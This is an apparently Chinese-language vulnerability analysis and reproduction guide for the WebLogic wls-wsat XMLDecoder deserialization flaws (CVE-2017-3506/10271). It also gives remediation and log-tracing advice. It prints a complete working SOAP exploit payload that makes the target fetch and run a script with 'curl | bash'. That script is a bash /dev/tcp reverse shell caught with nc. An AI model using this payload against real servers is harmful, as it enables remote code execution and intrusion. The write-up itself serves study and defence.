漏洞触发位置：wls-wsat.war 漏洞触发URL：/wls-wsat/CoordinatorPortType（POST） 漏洞的本质：构造SOAP（XML）格式的请求，在解析的过程中导致XMLDecoder反序列化漏洞 漏洞调用链:
分析漏洞调用链 weblogic.wsee.jaxws.workcontext.WorkContextServerTube.processRequest weblogic.wsee.jaxws.workcontext.WorkContextTube.readHeaderOld weblogic.wsee.workarea.WorkContextXmlInputAdapter在processRequest方法中,将var3传入readHeaderOld方法中,其中var3其实就是我们发过去的xml中的(意思就是我们可以控制)
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> ..... </java> </work:WorkContext>继续跟踪readHeadeOldr方法 在112行处,这行代码的大致意思就是将你POST传过来的xml数据作为参数实例化WorkContextXmlInputAdapter类,接下来,我们跟进一下这个类的构造函数
由图可见,构造函数直接利用XMLDecoder反序列化了传过来的xml数据,导致了漏洞
cve-2017-10271与3506他们的漏洞原理是一样的,只不过10271绕过了3506的补丁,我们来看下补丁是怎么处理的
图中红框内的代码是限制CVE-2017-3506漏洞利用的黑名单，这次补丁修补得非常的简陋，仅仅是根据POC中的object标签进行了修补，所以很快就出现了CVE-2017-10271漏洞。CVE-2017-10271的POC与CVE-2017-3506的POC很相似，只是将object标签换成了array或void等标签，即可触发远程代码执行漏洞。因此，在CVE-2017-10271漏洞爆发之后，Oracle官方也进行了补丁的完善，这一次的补丁考虑得比较全面，在黑名单中又添加了new,method,void,array等关键字进行漏洞修补，成功防御了CVE-2017-10271漏洞。
接下来,我们手工利用一下这个漏洞
复现环境 weblogic 10.3.6.0 ip:本地环境(127.0.0.1)
访问/wls-wsat/CoordinatorPortType11目录，存在下图则说明或许存在漏洞
注:/wls-wsat/CoordinatorPortType，/wls-wsat/RegistrationPortTypeRPC, /wls-wsat/ParticipantPortType，/wls-wsat/RegistrationRequesterPortType， /wls-wsat/CoordinatorPortType11，/wls-wsat/RegistrationPortTypeRPC11， /wls-wsat/ParticipantPortType11，/wls-wsat/RegistrationRequesterPortType11 上面这些路径都可以
攻击者服务器搭建一个http服务器(python -m SimpleHttpServer 8001),并在web目录下构造一个shell脚本,内容如下 bash -i >& /dev/tcp/127.0.0.1/6666 0>&1 这行命令是用来反弹shell到攻击这服务器的(ip地址与端口根据真实情况进行修改) 并且在攻击者服务器上利用nc监听6666这个端口 nc -lvvp 6666访问这个目录,利用burp抓包,修改请求为post,content-type为text/xml,构造如下xml数据并发送 POST /wls-wsat/CoordinatorPortType11 HTTP/1.1 Host: localhost:7001 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: text/xml Content-Length: 820 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java> <object class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="3"> <void index="0"> <string>/bin/bash</string> </void> <void index="1"> <string>-c</string> </void> <void index="2"> <string>curl http://127.0.0.1:8001/a.sh|bash</string> </void> </array> <void method="start"/> </object> </java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>上面的xml在被目标主机解析执行后,会加载攻击者http服务器(此处是127.0.0.1:8001)的shell脚本(a.sh), 并且执行这个shell脚本文件,然后就会主动连接攻击者的服务器. 攻击成功过后,会看到攻击者的http服务器收到了一个get请求,这个请求就是下载a.sh脚本 然后a.sh在受害机上执行后,攻击者服务器上收到反弹回来的shell,攻击完成
更新到最新版本,打上10271的补丁,对访问wls-wsat的资源进行访问控制 ,或者根据业务所有需求，考虑是否删除WLS-WebServices组件。包含此组件路径为：
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
Middleware/wlserver_10.3/server/lib/wls-wsat.war
以上路径都在WebLogic安装处。删除以上文件之后，需重启WebLogic。确认http://weblogic_ip/wls-wsat/ 是否为404页面。
weblogic会记录所有的http,https请求到access.log目录下(理论上是这样的)但是我在10.3.6环境下测试并没有发现日志记录,http日志只是记录了状态码为404的http请求,但是看了其他很多关于webloigc日志的文章都是可以记录所有http请求的,所以,进行溯源时,还是可以关注一下http日志(当前域/servers/AdminServer/logs/access.log)
